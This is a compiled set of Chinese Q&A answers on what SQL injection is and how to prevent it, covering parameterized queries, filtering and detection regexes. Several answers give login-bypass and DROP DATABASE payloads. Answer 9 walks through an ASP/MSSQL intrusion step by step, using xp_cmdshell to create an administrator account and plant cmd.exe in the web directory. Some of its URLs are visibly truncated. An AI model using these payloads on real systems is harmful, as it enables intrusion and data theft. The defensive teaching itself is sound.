1. 如何理解sql注入漏洞呢,怎麼預防呢
所謂SQL注入,是指頁面的某些控制項沒有對輸入值進行篩選特殊字元
比如頁面上有username和password的2個text框
當用戶登陸時,如果SQL僅僅是select count(*) from user where usrNm = @username and psd = @password
來判斷是否該用戶存在且密碼一致的話,就會產生SQL注入問題。
比如用戶在username的text框中填寫'' or 1=1 --
這個時候整句SQL就變成select count(*) from user where usrNm = '' or 1=1-- and psd = @password
--在SQL中是注釋的意思,所以psd後面的SQL不會執行
前面的條件里usrNm= '' or 1=1 由於1=1永遠成立,所以這句SQL將肯定成功返回
導致用戶可以通過SQL注入的方式直接繞過你的登陸
以上所舉例是最基礎的SQL注入
相關其他的內容網上還有很多,SQL注入的方式也有很多。
2. 什麼是sql注入如何注入的呢
SQL注入一定意義上可能是目前互聯網上存在的最豐富的編程缺陷,是未經授權的人可以訪問各種關鍵和私人數據的漏洞。 SQL注入不是Web或資料庫伺服器中的缺陷,而是由於編程實踐較差且缺乏經驗而導致的。 它是從遠程位置執行的最致命和最容易的攻擊之一。
from 樹懶學堂
3. sql注入攻擊與防禦是什麼
SQL注入攻擊:
惡意用戶在提交查詢請求的過程中將SQL語句插入到請求內容中,同時程序本身對用戶輸入內容過分信任而未對惡意用戶插入的SQL語句進行過濾,導致SQL語句直接被服務端執行。
SQL注入攻擊分類:
①注入點的不同分類:數字類型的注入、字元串類型的注入。
②提交方式的不同分類:GET注入、POST注入、COOKIE注入、HTTP注入。
③獲取信息方式的不同分類:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。
SQL注入攻擊防禦方法:
①定製黑名單:將常用的SQL注入字元寫入到黑名單中,然後通過程序對用戶提交的POST、GET請求以及請求中的各個欄位都進行過濾檢查,篩選威脅字元。
②限制查詢長度:由於SQL注入過程中需要構造較長的SQL語句,因此,一些特定的程序可以使用限制用戶提交的請求內容的長度來達到防禦SQL注入的目的,但這種效果不太好。
③限制查詢類型:限制用戶請求內容中每個欄位的類型,並在用戶提交請求的時候進行檢查,凡不符合該類型的提交方式就認為是非法請求。
④白名單法:該方法只對部分程序有效,對一些請求內容相對固定的程序,可以制定請求內容的白名單,比如:某程序接受的請求只有數字,且數字為1-100,這樣可以檢查程序接受的請求內容是否匹配,如果不匹配,則認為是非法請求。
⑤設置資料庫許可權:根據程序要求為特定的表設置特定的許可權,如:某段程序對某表只需具備select許可權即可,這樣即使程序存在問題,惡意用戶也無法對表進行update或insert等寫入操作。
⑥限制目錄許可權:Web目錄應至少遵循可寫目錄不可執行,可執行目錄不可寫的原則;在此基礎上,對各目錄進行必要的許可權細化。
4. 什麼是sql注入,如何防止sql注入
SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL注入式攻擊.
SQL注入攻擊實例:
比如在一個登錄界面,要求輸入用戶名和密碼:
可以這樣輸入實現免帳號登錄:
用戶名: 『or 1 = 1 –
密 碼:
點登陸,如若沒有做特殊處理,那麼這個非法用戶就很得意的登陸進去了.(當然現在的有些語言的資料庫API已經處理了這些問題)
這是為什麼呢? 下面我們分析一下:
從理論上說,後台認證程序中會有如下的SQL語句:
String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+password+" '";
當輸入了上面的用戶名和密碼,上面的SQL語句變成:
SELECT * FROM user_table WHERE username=
'』or 1 = 1 -- and password='』
分析SQL語句:
條件後面username=」or 1=1 用戶名等於 」 或1=1 那麼這個條件一定會成功;
然後後面加兩個-,這意味著注釋,它將後面的語句注釋,讓他們不起作用,這樣語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。
這還是比較溫柔的,如果是執行
SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password=''
….其後果可想而知…
防SQL注入:
下面我針對JSP,說一下應對方法:
1.(簡單又有效的方法)PreparedStatement
採用預編譯語句集,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值即可。
使用好處:
(1).代碼的可讀性和可維護性.
(2).PreparedStatement盡最大可能提高性能.
(3).最重要的一點是極大地提高了安全性.
原理:
sql注入只對sql語句的准備(編譯)過程有破壞作用
而PreparedStatement已經准備好了,執行階段只是把輸入串作為數據處理,
而不再對sql語句進行解析,准備,因此也就避免了sql注入問題.
2.使用正則表達式過濾傳入的參數
要引入的包:
import java.util.regex.*;
正則表達式:
private String CHECKSQL = 「^(.+)\sand\s(.+)|(.+)\sor(.+)\s$」;
判斷是否匹配:
Pattern.matches(CHECKSQL,targerStr);
下面是具體的正則表達式:
檢測SQL meta-characters的正則表達式 :
/(\%27)|(』)|(--)|(\%23)|(#)/ix
修正檢測SQL meta-characters的正則表達式 :/((\%3D)|(=))[^ ]*((\%27)|(』)|(--)|(\%3B)|(:))/i
典型的SQL 注入攻擊的正則表達式 :/w*((\%27)|(』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
檢測SQL注入,UNION查詢關鍵字的正則表達式 :/((\%27)|(』))union/ix(\%27)|(』)
檢測MS SQL Server SQL注入攻擊的正則表達式:
/exec(s|+)+(s|x)pw+/ix
等等…..
3.字元串過濾
比較通用的一個方法:
(||之間的參數可以根據自己程序的需要添加)
publicstaticbooleansql_inj(Stringstr)
{
Stringinj_str="'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
Stringinj_stra[]=split(inj_str,"|");
for(inti=0;i<inj_stra.length;i++)
{
if(str.indexOf(inj_stra[i])>=0)
{
returntrue;
}
}
returnfalse;
}
5. 什麼是sql注入如何防止sql注入
SQL注入是一種非常常見的資料庫攻擊手段,同時也是網路世界中最普遍的漏洞之一,簡單理解就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使資料庫執行非常規代碼的過程。
問題來源是,SQL資料庫的操作是通過SQL語句來執行的,而無論是執行代碼還是數據項都必須寫在SQL語句中,也就導致如果我們在數據項中加入了某些SQL語句關鍵字,比如SELECT、DROP等,這些關鍵字就很有可能在資料庫寫入或讀取數據時得到執行。
解決方案
方案一:
採用預編譯技術
使用預編譯的SQL語句,SQL語句的語義不會是不會發生改變的。預編譯語句在創建的時候就已經將指定的SQL語句發送給了DBMS,完成了解析,檢查,編譯等工作,所以攻擊者無法改變SQL語句的結構,只是把值賦給?,然後將?這個變數傳給SQL語句。當然還有一些通過預編譯繞過某些安全防護的操作,大家感興趣可以去搜索一下。
方案二:
嚴格控制數據類型
在java、c等強類型語言中一般是不存在數字型注入的,因為在接受到用戶輸入id時,代碼一般會做一個int id 的數據類型轉換,假如我們輸入的是字元串的話,那麼這種情況下,程序就會報錯。但是在PHP、ASP這些沒有強調處理數據類型的語言,一般我們看到的接收id的代碼都是如下等代碼。
方案三:
對特殊的字元進行轉義
數字型注入可以通過檢查數據類型防止,但是字元型不可以,那麼怎麼辦呢,最好的辦法就是對特殊的字元進行轉義了。比如在MySQL中我們可以對" '
"進行轉義,這樣就防止了一些惡意攻擊者來閉合語句。當然我們也可以通過一些安全函數來轉義特殊字元。如addslashes()等,但是這些函數並非一勞永逸,攻擊者還可以通過一些特殊的方式繞過。
6. 如何從根本上防止 SQL 注入
SQL注入並不是一個在SQL內不可解決的問題,這種攻擊方式的存在也不能完全歸咎於SQL這種語言,因為注入的問題而放棄SQL這種方式也是因噎廢食。首先先說一個我在其他回答中也曾提到過的觀點:沒有(運行時)編譯,就沒有注入。
SQL注入產生的原因,和棧溢出、XSS等很多其他的攻擊方法類似,就是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。針對於SQL注入,則是用戶提交的數據,被資料庫系統編譯而產生了開發者預期之外的動作。也就是,SQL注入是用戶輸入的數據,在拼接SQL語句的過程中,超越了數據本身,成為了SQL語句查詢邏輯的一部分,然後這樣被拼接出來的SQL語句被資料庫執行,產生了開發者預期之外的動作。
所以從根本上防止上述類型攻擊的手段,還是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來說,被執行的惡意代碼是通過資料庫的SQL解釋引擎編譯得到的,所以只要避免用戶輸入的數據被資料庫系統編譯就可以了。
現在的資料庫系統都提供SQL語句的預編譯(prepare)和查詢參數綁定功能,在SQL語句中放置佔位符'?',然後將帶有佔位符的SQL語句傳給資料庫編譯,執行的時候才將用戶輸入的數據作為執行的參數傳給用戶。這樣的操作不僅使得SQL語句在書寫的時候不再需要拼接,看起來也更直接,而且用戶輸入的數據也沒有機會被送到資料庫的SQL解釋器被編譯執行,也不會越權變成代碼。
至於為什麼這種參數化的查詢方式沒有作為默認的使用方式,我想除了兼容老系統以外,直接使用SQL確實方便並且也有確定的使用場合。
多說一點,從代碼的角度來看,拼接SQL語句的做法也是不恰當的。
7. sql注入問題
通過程序代碼拼接的sql是動態構造的,由一個不變的基查詢字元串和一個用戶輸入字元串連接而成。例如一個攻擊者在前端文本框中輸入字元串「name' OR 'a'='a」,那麼構造的查詢就會變成:SELECT * FROM XXX WHERE _file = 'name' OR 'a'='a';
可以見得附加條件 OR 'a'='a' 會使 where 從句永遠評估為 true,因此該查詢在邏輯上將等同於一個更為簡化的查詢:SELECT * FROM items;
你說的1、2、3步驟總結到最後就是輸入上述的那種字元串
8. 關於SQL注入。
我還沒進公司時,網站平均15天被注入一次,我進公司以後,大力整改,至今3個月,未見被注入。
我告訴你我的方法。
總結起來就是:關鍵詞屏蔽或替換 + 參數法sql。
1.封裝一個類,用來將傳入的參數進行關鍵詞的屏蔽和替換(像ID之類的參數,可以屏蔽關鍵詞的就完全屏蔽,像textarea這樣不能完全屏蔽的,就把關鍵詞替換,如將半形的'替換成全形』。還要限制參數的字數(很重要)
2.將所有需要和資料庫打交道的地方全部進行參數化sql。
如將sql="select * from table where id='"+value+"'"
改sql="select * from table where id=@id"
寫一個類,裡面專門存放參數法sql的各種方法,雖然會麻煩一些,但是非常非常有效,可以杜絕絕大多數sql注入。
這樣,雙管其下,基本可以防止sql注入了
9. SQL注入是怎麼回事
SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報,如果管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,需要構造巧妙的SQL語句,從而成功獲取想要的數據。
SQL注入攻擊的總體思路
·發現SQL注入位置;
·判斷後台資料庫類型;
·確定XP_CMDSHELL可執行情況
·發現WEB虛擬目錄
·上傳ASP木馬;
·得到管理員許可權;
SQL注入攻擊的步驟
一、SQL注入漏洞的判斷
一般來說,SQL注入一般存在於形如:http://xxx.xxx.xxx/abc.asp?id=XX等帶有參數的ASP動態網頁中,有時一個動態網頁中可能只有一個參數,有時可能有N個參數,有時是整型參數,有時是字元串型參數,不能一概而論。總之只要是帶有參數的動態網頁且此網頁訪問了資料庫,那麼就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字元過濾,存在SQL注入的可能性就非常大。
為了全面了解動態網頁回答的信息,首選請調整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚,以下以http://xxx.xxx.xxx/abc.asp?p=YY為例進行分析,YY可能是整型,也有可能是字元串。
1、整型參數的判斷
當輸入的參數YY為整型時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位=YY,所以可以用以下步驟測試SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY』(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 欄位=YY』,abc.asp運行異常;
②http://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp運行正常,而且與http://xxx.xxx.xxx/abc.asp?p=YY運行結果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
2、字元串型參數的判斷
當輸入的參數YY為字元串時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位='YY',所以可以用以下步驟測試SQL注入是否存在。
①http://xxx.xxx.xxx/abc.asp?p=YY』(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 欄位=YY』,abc.asp運行異常;
②http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='1', abc.asp運行正常,而且與http://xxx.xxx.xxx/abc.asp?p=YY運行結果相同;
③http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... 39;1'='2', abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字元,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由於VBS並不區分大小寫,而程序員在過濾時通常要麼全部過濾大寫字元串,要麼全部過濾小寫字元串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字元集實現國際化,我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字元全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附件二;
二、分析資料庫伺服器類型
一般來說,ACCESS與SQL-SERVER是最常用的資料庫伺服器,盡管它們都支持T-SQL標准,但還有不同之處,而且不同的資料庫有不同的攻擊方法,必須要區別對待。
1、 利用資料庫伺服器的系統變數進行區分
SQL-SERVER有user,db_name()等系統變數,利用這些系統值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
① http://xxx.xxx.xxx/abc.asp?p=YY and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前連接到資料庫的用戶名
②http://xxx.xxx.xxx/abc.asp?p=YY&;n ... db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前正在使用的資料庫名;
2、利用系統表
ACCESS的系統表是msysobjects,且在WEB環境下沒有訪問許可權,而SQL-SERVER的系統表是sysobjects,在WEB環境下有訪問許可權。對於以下兩條語句:
①http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②http://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若資料庫是SQL-SERVE,則第一條,abc.asp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。
3、 MSSQL三個關鍵系統表
sysdatabases系統表:Microsoft SQL Server 上的每個資料庫在表中佔一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 資料庫的項。該表只存儲在 master 資料庫中。 這個表保存在master資料庫中,這個表中保存的是什麼信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關信息。
這里我把對於我們有用的欄位名稱和相關說明給大家列出來。name //表示庫的名字。
dbid //表示庫的ID,dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。
Sysobjects:SQL-SERVER的每個資料庫內都有此系統表,它存放該資料庫內創建的所有對象,如約束、默認值、日誌、規則、存儲過程等,每個對象在表中佔一行。
syscolumns:每個表和視圖中的每列在表中佔一行,存儲過程中的每個參數在表中也佔一行。該表位於每個資料庫中。主要欄位有:
name ,id, colid :分別是欄位名稱,表ID號,欄位ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有欄位列表。
三、確定XP_CMDSHELL可執行情況
若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省
1、http://xxx.xxx.xxx/abc.asp?p=YY&;nb ... er>0 abc.asp執行異常但可以得到當前連接資料庫的用戶名(若顯示dbo則代表SA)。
2、http://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp執行異常但可以得到當前連接的資料庫名。
3、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell 「net user aaa bbb /add」-- (master是SQL-SERVER的主資料庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;「—」號是註解,表示其後面的所有內容僅為注釋,系統並不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。
4、http://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell 「net localgroup administrators aaa /add」-- 把剛剛增加的帳戶aaa加到administrators組中。
5、http://xxx.xxx.xxx/abc.asp?p=YY;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數據內容全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。
6、通過復制CMD創建UNICODE漏洞
http://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell 「 c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe」 便製造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。
10. 什麼是sql注入,怎麼防止sql注入
原理
SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。
根據相關技術原理,SQL注入可以分為平台層注入和代碼層注入。前者由不安全的資料庫配置或資料庫平台的漏洞所致;後者主要是由於程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。基於此,SQL注入的產生原因通常表現在以下幾方面:①不當的類型處理;②不安全的資料庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字元處理不合適;⑥多個提交處理不當。
攻擊
當應用程序使用輸入內容來構造動態sql語句以訪問資料庫時,會發生sql注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字元串來傳遞,也會發生sql注入。sql注入可能導致攻擊者使用應用程序登陸在資料庫中執行命令。相關的SQL注入可以通過測試工具pangolin進行。如果應用程序使用特權過高的帳戶連接到資料庫,這種問題會變得很嚴重。在某些表單中,用戶輸入的內容直接用來構造動態sql命令,或者作為存儲過程的輸入參數,這些表單特別容易受到sql注入的攻擊。而許多網站程序在編寫時,沒有對用戶輸入的合法性進行判斷或者程序中本身的變數處理不當,使應用程序存在安全隱患。這樣,用戶就可以提交一段資料庫查詢的代碼,根據程序返回的結果,獲得一些敏感的信息或者控制整個伺服器,於是sql注入就發生了。
防護
歸納一下,主要有以下幾點:
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和
雙"-"進行轉換等。
2.永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員許可權的資料庫連接,為每個應用使用單獨的許可權有限的資料庫連接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
6.sql注入的檢測方法一般採取輔助軟體或網站平台來檢測,軟體一般採用sql注入檢測工具jsky,網站平台就有億思網站安全平台檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL注入,XSS攻擊等。